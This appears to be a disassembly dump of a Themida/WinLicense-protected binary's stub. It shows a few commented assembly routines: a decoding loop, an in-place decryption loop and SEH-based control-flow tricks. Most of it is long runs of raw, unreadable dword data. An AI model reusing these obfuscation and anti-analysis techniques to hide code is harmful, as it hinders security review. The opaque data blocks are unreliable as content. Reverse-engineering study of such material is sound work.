sub bl, 41h add bl, 0Ah loc_53F6AE: ; CODE XREF: Themida_:0053F68Aj ; Themida_:0053F69Cj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53F6B4: ; CODE XREF: Themida_:0053F668j cmp dword ptr [ebp-0Ch], 2 jb short loc_53F66A cmp dword ptr [ebp-10h], 0 jbe short loc_53F6C4 mov eax, [ebp-10h] stosb loc_53F6C4: ; CODE XREF: Themida_:0053F6BEj inc dword ptr [ebp-8] loc_53F6C7: ; CODE XREF: Themida_:0053F658j cmp dword ptr [ebp-8], 2 jb short loc_53F65A add edx, 4 loc_53F6D0: ; CODE XREF: Themida_:0053F64Fj cmp edx, [ebp-4] jb loc_53F651 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F6E3: ; CODE XREF: start+5F4B6j mov ecx, 7000h lea edi, [ebp+60B3650h] loc_53F6EE: ; CODE XREF: start+5F6DEj dec byte ptr [edi] inc edi dec ecx jnz short loc_53F6EE mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+60B3743h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov ebx, edx js loc_53F72B push eax mov ebx, eax pop ebx loc_53F72B: ; CODE XREF: start+5F70Dj sub eax, edx push 0 push ebp call sub_53F738 and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53F738 proc near ; CODE XREF: start+5F71Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_53F738 endp ; --------------------------------------------------------------------------- dd 20C1EC32h, 25F0F380h, 0FFFFF000h, 0FDA8B66h, 0CA8BD8BFh dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah dd 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h, 56958D04h dd 52060B37h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60B3761h dd 371F858Dh, 8189060Bh, 0B8h, 0C033595Dh, 8F6496C3h, 5 dd 4C48300h, 8C66FD8Ah, 7343BBD9h, 0E18015A7h, 0F3BB304h dd 0C90ADEB7h, 62850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 19DDDAC3h, 2DCBF7D6h dd 0F9640FCh, 389h, 12D38000h, 0B1985C7h, 1060Bh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 6A82C2C3h, 1C4A56F3h, 0EE949h, 24B30000h, 0B1985C7h dd 60Bh, 0A5B30000h, 0B018589h, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4C9FDFC3h dd 0B3B350BEh, 5585895Bh, 0E8060B13h, 0Dh, 0DD93BABBh dd 95DE9B58h, 0FA5E8479h, 38A0FB0h, 0F000000h, 0F85ED9BFh dd 7597C681h, 55B80000h, 2B1BC5BCh, 38D0FFFh, 66000000h dd 148BCA8Bh, 0C981663Eh, 0C281C652h, 7EB72F31h, 0C281FA8Ah dd 421E5E72h, 3860Fh, 8B660000h, 3DEA81CEh, 6650B172h dd 0B13AF181h, 0DF8B6652h, 663E048Fh, 502099B8h, 0FD8AF960h dd 0EF835961h, 0FCEC8004h, 8B14FF81h, 850FFFFFh, 19h, 2CE9D98Bh dd 0DF000000h, 4B518213h, 0FEF64D26h, 0EAD682B6h, 3D1ED6DEh dd 0CE8B6637h, 0FFFF91E9h, 0F520FFh, 76976E21h, 0D1CA97D2h dd 49CECE0Dh, 0E9020A3Ch, 6E8h, 9E9h, 9034EA00h, 8A94379Fh dd 2171799h, 10750000h, 60Bh, 0B8F960F9h, 0 dd 0B5895260h, 60B120Dh, 0CBBF0F5Bh, 24548B61h, 0DE928h dd 0AEB10000h, 0A8E747BEh, 0BB5C5462h, 89F51E9Eh, 0B05E985h dd 0E9516006h, 10h, 510AE5A0h, 16FCFB83h, 0A044C486h, 0D430C064h dd 0DDE3815Ah, 617379BEh, 0DE9h, 0B75B6600h, 437B2651h dd 46C2C98Dh, 3CBEB421h, 0FC000000h, 24247403h, 89AD66F9h dd 0B0ED595h, 24440306h, 95896024h, 60B2119h, 9061CF8Bh dd 0DE9h, 4416DA00h, 416CE41Ah, 0A5BF7397h, 6050D6E7h dd 5B535250h, 8F0F310Fh, 0 dd 9061585Ah, 0C8D0Fh, 8E0F0000h, 6, 0DAD9501h, 408B060Bh dd 0B58B6078h, 60B1895h, 0F199D8Bh, 361060Bh, 0E9282444h dd 8, 0C5CC8A79h, 0ADFE0F62h, 8918408Bh, 0B2E7D9Dh, 95314006h dd 60B2049h, 39028589h, 0E960060Bh, 7, 28EF0207h, 0E8BB55E8h dd 0Eh, 83EB0A17h, 68050C95h, 55BBE9B9h, 7E9E06Ch, 0DF000000h dd 0B98E06BEh, 615855A7h, 68C0F58h, 89000000h, 0B100D8Dh dd 78708B06h, 6BDB589h, 8E0F060Bh, 10h, 0BE9h, 331F600h dd 814D932Ah, 7CAB548Fh, 0F81CC683h, 1AC59501h, 7403060Bh dd 0BD892424h, 60B285Dh, 242DBD8Dh, 850F060Bh, 6, 15E98D89h dd 1AD060Bh, 0B2D91B5h, 24440306h, 0C880F24h, 0F000000h dd 68Dh, 198D8900h, 0AB060B18h, 30F19D29h, 0BD8D060Bh dd 60B0535h, 8850Fh, 850F0000h, 2, 0FAD6160h, 183h, 4403F900h dd 0B5892424h, 60B1905h, 23D8D89h, 0F90060Bh, 1185h, 0CE900h dd 65060000h, 72B1646Fh, 7EFBF5BDh, 0E9503313h, 0Eh, 797154ADh dd 93B2A6D8h, 2654DC95h, 0E9901040h, 0Ah, 0EFE31BA1h, 0BF274AA3h dd 0F9AB0CC9h, 2889BD8Dh, 0F560060Bh, 0FAD61F9h, 0A89h dd 0EBB96000h, 665FCCFAh, 361C88Bh, 29282444h, 0B05B18Dh dd 0BF60AB06h, 51564826h, 6890Fh, 0B5290000h, 60B1601h dd 95895E61h, 60B0295h, 39028DFFh, 0BD83060Bh, 60B3902h dd 0C7107500h, 1C2444h, 8D000000h, 0B3D90B5h, 56E6FF06h dd 244403ADh, 0DF8B9728h, 2845858Ah, 0C084060Bh, 73A0474h dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h dd 85FF04C6h, 60B05E9h, 0FFFF6FE9h, 95095EFFh, 60B05D5h dd 5E9h, 0CF5A4000h, 9589E5ACh, 60B0CC1h, 5E9858Bh, 8D09060Bh dd 60B19B9h, 0DE9h, 87C4E00h, 168EEDA3h, 9DADE8D0h, 0E0D1CEA9h dd 0C860Fh, 66600000h, 8B4D9BBFh, 0B32D195h, 85036106h dd 60B2889h, 0B58960FCh, 60B0E91h, 16798D8Bh, 2B61060Bh dd 519589F6h, 96060B0Dh, 2DF19589h, 0AD66060Bh, 2E0C1FCh dd 17F98531h, 8503060Bh, 60B242Dh, 0AE996F8h, 7F000000h dd 0E5A1573Eh, 90B81B1h, 8BF9ADDEh, 0F24244Ch, 683h, 79B58900h dd 3060B15h, 0E9242444h, 10h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h dd 0C4D39B7Bh, 1C244489h, 6880Fh, 9D890000h, 60B233Dh dd 89ACF596h, 0B2049BDh, 0F8C93206h, 880FC1FEh, 0Bh, 9958B60h dd 80060B1Bh, 0D061DDCAh, 0C1830FD0h, 0F000000h, 188Bh dd 13E900h, 0A8540000h, 70B744E9h, 745CFFECh, 0F145EF55h dd 74BD6BCAh, 0FD0D0B4h, 9B83h, 8D8B6000h, 60B1661h, 2860Fh dd 0E3B70000h, 0FD0D061h, 8382h, 419D8900h, 0D0060B0Dh dd 75820FD0h, 60000000h, 0DE9h, 0F8769D00h, 1150FE88h dd 548BE7C0h, 860FB287h, 6, 8B0Fh, 60610000h, 69B589FCh dd 61060B31h, 890FC9FEh, 0FFFFFF7Bh, 20C483FCh, 0BE9h dd 196DC700h, 0CD8B0E46h, 752AB5BAh, 0FC2444C7h, 0 dd 0BD8B60F9h, 60B15B5h, 1B861h, 9D010000h, 60B0C15h, 73058D8Dh dd 8D89060Bh, 60B3121h, 8531E1FFh, 60B01E5h, 284585C6h dd 0F00060Bh, 784h, 1810F00h, 0F9000000h, 8C2F861h, 31BD0900h dd 96060B21h, 0AE9h, 9A51E300h, 0D8C3991Eh, 50835240h dd 4800Fh, 0B4600000h, 60966195h, 61D7B70Fh, 3F96B589h dd 880F060Bh, 0Dh, 8E9h, 0A1D19600h, 6711C11Fh, 880F60D5h dd 2, 8961F48Ah, 0B3FC18Dh, 8DF9F806h, 0B3E7AB5h, 12E906h dd 0B5150000h, 5AF8087Bh, 790A1D57h, 869D78C3h, 1ACC71D1h dd 7E35858Dh, 13E9005Bh, 7E000000h, 4FF69C48h, 95A243DAh dd 3B3EFBB5h, 0C41C5753h, 0D0FFF4EAh, 41B58960h, 0E8060B09h dd 12h, 89FD2F43h, 6713D27Ah, 90805577h, 35EBC4CBh, 9E99F2Fh dd 0D4000000h, 0C4FB6B08h, 9D74A41Bh, 0F5E615Eh, 683h dd 858D3100h, 0C3060B1Eh, 15E98D09h, 0B58B060Bh, 60B3F96h dd 0BE860h, 48E40000h, 0B2B5B2h, 21190EC4h, 5BF5B085h dd 8BEB8A60h, 0B3365BDh, 8B616106h, 0B3FC18Dh, 0E98D0106h dd 2B060B26h, 68A0FC0h, 9000000h, 0B29E59Dh, 5E906h, 75800000h dd 8B65829Fh, 0B9E9F9D9h, 60000000h, 100D958Bh, 3261060Bh dd 7E926h, 553C0000h, 34E372C7h, 0F02B2ABh, 0C83h, 68D0F00h dd 29000000h, 0B0591BDh, 72E906h, 0E9600000h, 13h, 0E0C22B18h dd 476F9EDAh, 925069DEh, 3FEA119Ah, 6118D484h, 65950160h dd 66060B33h, 4173F081h, 0F8C23261h, 751D7A05h, 8953608Ah dd 0B2879BDh, 0CA815A06h, 4ACF33CDh, 60CC8A61h, 0DB58D31h dd 0D361060Bh, 98589C8h, 35060B27h, 98D10842h, 0AFD9D89h dd 0CAFE060Bh, 6870F60h, 8B000000h, 0B063595h, 3D958906h dd 61060B2Ah, 850FD20Ah, 0FFFFFFADh, 840F4BFCh, 1, 0B58946F5h dd 60B2F11h, 850FDB0Bh, 0FFFFFF47h, 0E58D8960h, 61060B13h dd 0F9CFh, 14890Fh, 0E9600000h, 7, 658070DBh, 8BF93479h dd 0B0DF99Dh, 0F86106h, 15950900h, 9060B13h, 0B05319Dh dd 60000006h, 59BBB66h, 22D9503h, 61060Bh, 0E2806000h dd 1995039Ch, 61060B20h, 390D858Dh, 12E9060Bh, 0EA000000h dd 0E3ABF9B3h, 7577873Fh, 0CBC1997Ch, 2D2F7387h, 0A9858958h dd 29060B08h, 0B03999Dh, 0AF858D06h, 0E9060B3Dh, 8, 0A962A740h dd 853EBDC5h, 1FA58589h, 8E8060Bh, 87000000h, 39A79DCBh dd 9950B6Dh, 0B33818Dh, 0BF0F5806h, 75C081C9h, 8B000059h dd 0B0DF98Dh, 1DB3306h, 0B0841BDh, 334FF06h, 0F7E2805Eh dd 1A98F681h, 11E8230Ch, 19000000h, 0D7F5A187h, 6B3D6A6Ch dd 10F765DEh, 0E41A509h, 599CEE80h, 0C9C8EE81h, 0EDB96758h dd 81438F60h, 8128B9F6h, 918D095Dh, 56060B0Bh, 0EE960h dd 9FF30000h, 1FE78470h, 0F8B1CAF7h, 0E7E433BDh, 11619D8Bh dd 8F61060Bh, 0BD8B1804h, 60B0681h, 0DA1B529h, 0EB81060Bh dd 4E68C54Ah, 6810Fh, 8D8B0000h, 60B29FDh, 0C546C381h dd 8E0F4E68h, 0 dd 0A740FB81h, 850FFFFFh, 0FFFFFF6Dh, 14EBh, 3 dup(0) dd 8B0000h, 858D0000h, 60B41B2h, 2F598589h, 0BD83060Bh dd 60B40EAh, 34840F00h, 0C6000001h, 0B284585h, 4E85606h dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 0DE8589D0h, 0C6060B40h dd 0B284585h, 0A1685606h, 81667A86h, 31B12404h, 0B5FF362Eh dd 60B0B01h, 390D858Dh, 0D0FF060Bh, 40E28589h, 46A060Bh dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h, 0EE858B58h dd 5060B40h, 1F4h, 9002E0C1h, 6A9050h, 40E295FFh, 8589060Bh dd 60B40E6h, 0FFB8D88Bh, 0FFFFFFFFh, 0B2F5995h, 0FFC38B06h dd 0B2F5995h, 8DE906h, 0BD830000h, 60B40EAh, 1850F00h dd 0C3000000h, 0E6BD8B57h, 0AB060B40h, 40E68583h, 5F04060Bh dd 0EABD83C3h, 60B40h, 1850Fh, 60C30000h, 40E6AD83h, 8B04060Bh dd 0B40E69Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 40DE95FFh dd 0C361060Bh, 1DE9h, 5A936800h, 348178DCh, 0DCDA9324h dd 0FF006A78h, 0DE95FF33h, 83060B40h, 0B40E6ADh, 0A8E90406h dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h dd 46068A80h, 0BB470788h, 2, 850FD202h, 5, 1246168Ah, 0E2830FD2h dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh dd 0C0330000h, 850FD202h, 5, 1246168Ah, 2A830FD2h, 2000001h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h dd 885F078Ah, 2BB4707h, 0E9000000h, 0FFFFFF70h, 1B8h, 0FD20200h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5 dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h, 0E88B02D1h dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 781830D1h dd 0A6F6656Bh, 4CAAD507h, 0F6DE3ADEh, 0F35F1089h, 0C9C81EEh dd 35AF7A52h, 0ADE67F56h, 7518168Ch, 0AEFA2760h, 1FF8C215h dd 0B3D928CFh, 90305B86h, 18968B9Eh, 67A37B4Fh, 0ABE47F56h dd 75181583h, 0B3E5277Ah, 1F8DD0Fh, 0A4C236D3h, 0F35B5592h dd 1C81C7AAh, 35EE6A4Fh, 0ABF13157h, 6C180397h, 0B3E4687Ch dd 0F6DD01h, 63h dup(0) dd 711830D1h, 0B5EA6961h, 1CF8C20Fh, 0A4CA34C4h, 0F51A188Ah dd 1BD394AFh, 67E17B59h, 0AAFD7E45h, 694A5186h, 0AFEA6960h dd 2B19007h, 0A3C22296h, 0E4495599h, 149693BDh, 17821412h dd 0B7E9744Fh, 69185D87h, 0A0EC6B60h, 18B19004h, 0B9DF3D96h dd 0F8575586h, 8188A3h, 23E17F1Ch, 0B7ED6303h, 684A1096h dd 0B4EC7E2Eh, 1EA89012h, 0B7DF3CD9h, 5B86h, 48h dup(0) dd 7F1830D1h, 0AAE0667Ch, 1FFFC205h, 0B9C22F96h, 0FC525587h dd 1C91C7BDh, 21AF7059h, 0A0E6644Ch, 724D03C2h, 0A6ED6E60h dd 4CB6D940h, 0A4D834CFh, 0EE4306CBh, 579E82BAh, 2BDF1336h dd 0A1FB7046h, 724D51CEh, 0A5E26862h, 4CACD940h, 0BBC229D0h dd 0F05F18CBh, 598A95A1h, 67EB705Dh, 0B0FB7451h, 3C4C0383h dd 0B3F66877h, 3AAC040h, 0BBCC29D1h, 0C5h, 61h dup(0) dd 705137D1h, 0AEE0276Bh, 1CADC212h, 0F7C93EC2h, 0F56E55C5h dd 9D394A7h, 35E8714Eh, 0ACA87C42h, 7E180283h, 0E1ED626Bh dd 5B6D10Dh, 0B7C12EC6h, 0BD5E109Fh, 599789AFh, 25F67F51h dd 0AD851B46h, 3C4B5696h, 0A4E56967h, 8BDC403h, 0F6D43996h dd 0F46C558Ah, 598092BCh, 24AF6C53h, 0AFEB7051h, 3C161587h dd 0B2EA6F5Ah, 0B1D640h, 0B9DA7BD3h, 0BD4E5285h, 128188B9h dd 3EE17F1Ch, 0A1FA7E4Eh, 0CCh, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 dd 0E9000000h, 2E7Ch, 0FC48F380h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 8BC35141h, 98B857CFh, 11830Fh dd 0CE90000h, 0C9000000h, 92FC9744h, 7BBD70EEh, 8B6E0BB0h dd 31B589C0h, 83060B2Eh, 0B05BDBDh, 9750006h, 29D1BD83h dd 7400060Bh, 8B535013h, 1B8C0h, 9D8D0000h, 60DB1BCh, 585BD3FFh dd 29D1BD83h, 7400060Bh, 0B8535011h, 1, 0B06D9D8Dh, 0D3FF060Dh dd 14E9585Bh, 34000000h, 0C3C54FE7h, 0FC431CA4h, 9991199Eh dd 0B383C90Ch, 60EA2B20h, 68E0Fh, 858B0000h, 60B0531h dd 68B0Fh, 9D290000h, 60B1B4Dh, 8BC08B61h, 0B059D9Dh, 79BD8306h dd 60B2Eh, 1FA840Fh, 0DA810000h, 610E81AAh, 81DBD83h, 0F00060Bh dd 1E784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 4FB10B69h, 145C9FEFh, 14E8h, 6347FA00h dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 37EF1784h, 0D9EB8064h dd 0BD89605Ah, 60B07E1h, 81D858Bh, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F0D8D3C3h dd 8B705BA9h, 0B127D95h, 3E80506h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9551E4C3h dd 1F69BBA2h, 6E92B75h, 0B3000000h, 5E13C8Eh, 0B5BD29EBh dd 90060B27h, 14E8h, 7656E00h, 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch dd 80E62188h, 0BB505A3Bh, 48B4A400h, 0DE990h, 0FC580000h dd 656D9BDDh, 3DB2344h, 8D677F54h, 0B4DB685h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 519D8970h, 90060B20h, 50D88B66h, 11E8h, 69006D00h, 34365992h dd 25E0F31Ch, 0AFA8EA70h, 0D08AA539h, 8B66905Bh, 94858DD9h dd 0F060B4Dh, 48Fh, 0B4BA6600h, 8B6650D0h, 240489DEh, 95FFF48Ah dd 60B000Dh, 8E9h, 9AADFF00h, 400BD282h, 0CC483CFh, 28E59D0Bh dd 858D060Bh, 60B4D94h, 775BBA66h, 89D08B50h, 0AE82404h dd 0DB000000h, 74E24B7Dh, 0A5B9AC83h, 0A5BD8931h, 5A060B33h dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 721548C3h, 0D0BF0F19h, 857495FFh, 6A0068h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F4A03C3h, 0AE9D7B7h, 0A6000000h, 0FFD74EB5h, 5000BE51h dd 950B6163h, 60B0715h, 4DC785C7h, 1060Bh, 9D8B0000h, 60B21DDh dd 0C4BB5696h, 5B34D6C8h, 0C9BA6650h, 295096DFh, 0B335D95h dd 0B5895A06h, 60B4D78h, 0BAD958Bh, 0BD83060Bh, 60B0B19h dd 65850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5AB6C353h, 0A26A4B65h dd 0B58950B6h, 60B07C1h, 5F8835Ah, 32850Fh, 860F0000h dd 3, 0B8D68B66h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8FC35747h dd 0F1A3AC0Dh, 7E5B7F58h, 899BD83h, 0F00060Bh, 2D84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 85661A5Eh, 8BD5071Bh, 0B02DD95h, 0B806h, 29600000h dd 0B330995h, 0C5858B06h, 6A060B2Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8858C351h dd 819ED65Eh, 0FE90F6EBh, 2C0834Ah, 0BE9h, 0DD3B200h, 723A1628h dd 9DCABB38h, 4D708589h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 534D85C3h, 0F10D72E1h dd 70D958Bh, 0C6060Bh, 318D89FFh, 0C6060B23h, 0B284585h dd 0BE85306h, 96000000h, 0D4AB2CEEh, 0C0E19131h, 890FDB17h dd 6, 8F0Fh, 0E95A0000h, 13h, 2742BE83h, 7302A3A7h, 656B5238h dd 9444F8F2h, 68A62361h, 9677F6A6h, 481D48Ah, 39523224h dd 0ED9D8966h, 0FF060B28h, 0B1355B5h, 0A3F28006h, 7D18858Dh dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8B1349C3h, 0B0EE99Dh, 8BD0FF06h, 0B01099Dh dd 0DD858906h, 0E9060B32h, 0Fh, 7EB556D4h, 52B6CE25h, 0BCDA8EE9h dd 8306167Ch, 0B1FDDBDh, 850F0106h, 142h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 0E9C35141h, 2D958B33h dd 61060B1Ah, 0F498D09h, 85C6060Bh, 60B2845h, 50006A45h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A0CDE993h, 813EC897h, 512F15CAh, 63556854h, 0DF8B5AFAh dd 6D240481h, 297F65D5h, 0B10758Dh, 13E906h, 0E2300000h dd 0A65E189Bh, 0F1F513E8h, 6D78F1Ah, 96EFB85h, 55B5FFBBh dd 89060B13h, 0B2055BDh, 5E806h, 3F980000h, 0E992A0E2h dd 13h, 4B26A166h, 9A64423Dh, 0A934A9B3h, 0B6D0A4F7h, 5B2F507Ch dd 7D18858Dh, 0BF0F060Eh, 0A9958BD7h, 0FF060B18h, 53006AD0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0C07ED6FEh, 1DCD14CAh, 0FEBB66B8h, 6A006A64h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0AD69C351h, 0E27443D4h, 0DD86677h, 20699529h, 0D0FF060Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 16C35242h dd 7D54C957h, 0F6BA665Eh, 0BD83F57Ah, 60B037Dh, 8A850F01h dd 0FC000000h, 9E8h, 95B00500h, 0F37003Bh, 0EE8977Dh, 0B9000000h dd 0F0771C18h, 0D1930E5Eh, 0BEA73C94h, 0A595891Eh, 5A060B1Ah dd 0C5858B5Ah, 0F060B2Eh, 286h, 0E9B8B300h, 3Ch, 1A459D89h dd 0E990060Bh, 9, 0ADC706F9h, 4078B0F2h, 0D38B5032h, 0E2815290h dd 57059A8Ch, 8B146A5Ah, 0B06319Dh, 0DD95FF06h, 81060B32h dd 3FEF4FD3h, 0BD895876h, 60B32D1h, 0F003880h, 0FFFFC185h dd 0D68B66FFh, 560100C6h, 6A615Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 6D8AD0C3h, 0B589615Eh dd 60B2AD1h, 5B9BD89h, 0BD83060Bh, 60B1A29h, 2C840F00h dd 60000000h, 290D8D89h, 8166060Bh, 611F7EE2h, 0BD89FF6Ah dd 60B2E85h, 95FFFC8Ah, 60B32DDh, 0F098589h, 0E5E9060Bh dd 66FFFFFFh, 0C7944EBBh, 0B1A2985h, 106h, 41858900h, 89060B0Bh dd 0B4D7C85h, 0DD952306h, 50060B0Dh, 0AE9h, 0D9587B00h dd 1D24734Eh, 89CCB2C9h, 60F52404h, 56AD38Bh, 3810Fh, 0DF800000h dd 94858DB4h, 66060B4Dh, 0E890D88Bh, 7, 0B08CE0C4h, 50DD55F2h dd 46D0BA52h, 310F1B75h, 0DE8h, 0A3179800h, 396DE772h dd 887CCE4Bh, 5A5B6E72h, 8A505B58h, 6A90D0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C783FDC3h dd 0E9958940h, 0F060B06h, 689h, 0C9958B00h, 8D060B18h dd 0B4D8485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 4845D4AFh, 8B90BF0Dh, 8C0F50D7h dd 3, 90D78B66h, 0FF62F280h, 0B051995h, 0D2B70F06h, 7BCE8D8Dh dd 0FE8060Bh, 0B4000000h, 0D6196E3h, 99C157DEh, 1A3EF8DCh dd 0B5B4946h, 8D1174C0h, 0B4D9485h, 0D1FF5006h, 4DB28589h dd 0AEB060Bh, 4DB285C7h, 0FFFF060Bh, 8960FFFFh, 0B07A98Dh dd 25B50B06h, 61060B18h, 6092C280h, 101B58Bh, 8D8B060Bh dd 60B14A9h, 6A6161h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 477719C3h, 0B70FAF16h, 4585C6D6h dd 4D060B28h, 1A21958Bh, 4E8060Bh, 0A8000000h, 66A43576h dd 503454BBh, 424448Bh, 6E8h, 0D76F2E00h, 5081B866h, 5AD38B66h dd 0E8008B5Bh, 0Bh, 36BB74DAh, 6AC3A376h, 5076B6CAh, 0F5B5652h dd 5A616031h, 44895B58h, 0D38B0424h, 0F99D3158h, 0FF060B23h dd 0B27F5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0DE99753h, 4D000000h, 0FA5C0548h dd 96802BE6h, 0F1D0F570h, 8D62EF80h, 0E7D1885h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 6B99F6AEh, 869CF85Ah, 10E9h, 342CD100h, 3CFBC3C2h, 5694835Ch dd 819D1575h, 60D0FF7Fh, 901976B8h, 599D8B64h, 61060B2Eh dd 0BD98589h, 9D8B060Bh, 60B062Dh, 284585C6h, 0E945060Bh dd 0Ch, 0D253A88Eh, 0F551492h, 0EE2329ABh, 31799501h, 9A68060Bh dd 8112D3CCh, 9CCF2404h, 8D017B9Eh, 60B1B4Dh, 0B11B589h dd 0B5FF060Bh, 60B1355h, 7E8h, 7C7D5200h, 11598741h, 23059D01h dd 8D5B060Bh, 0E7D1885h, 14E906h, 0CD1A0000h, 0F6FE36D3h dd 711F11A9h, 0B40F18D2h, 60A957F6h, 0D0FFE5A8h, 0F819D8Bh dd 8589060Bh, 60B2F4Dh, 6860Fh, 95890000h, 60B27EDh, 12E8D28Bh dd 0DC000000h, 0C35560ACh, 0E4FB4B34h, 438B542Fh, 0AA3A1E1Dh dd 5A5060B3h, 665A61FCh, 6AD98Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0EEBCCCC3h, 8991F17Ah dd 0B009D95h, 4C1F606h, 24F840Fh, 0DE800000h, 10BE9EBh dd 89510000h, 0B0BBD95h, 60505B06h, 29D9D89h, 0BD01060Bh dd 60B0011h, 0B58B5B61h, 60B1F75h, 59D9D8Bh, 0C681060Bh dd 1180h, 0BE9h, 0EBD62500h, 274FF94Fh, 207CA66Ah, 1611BD83h dd 0F00060Bh, 2885h, 0C2816600h, 11B60D36h, 0AFE9h, 898D0900h dd 0E9060B18h, 11h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 6B4D2DC2h dd 3E83CEh, 8A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h dd 0AE903h, 0A67A0000h, 0C78221CCh, 0E0191F69h, 0CB80DA8Bh dd 958B600Dh, 60B0B7Dh, 13E9146Ah, 83000000h, 33683F5Eh dd 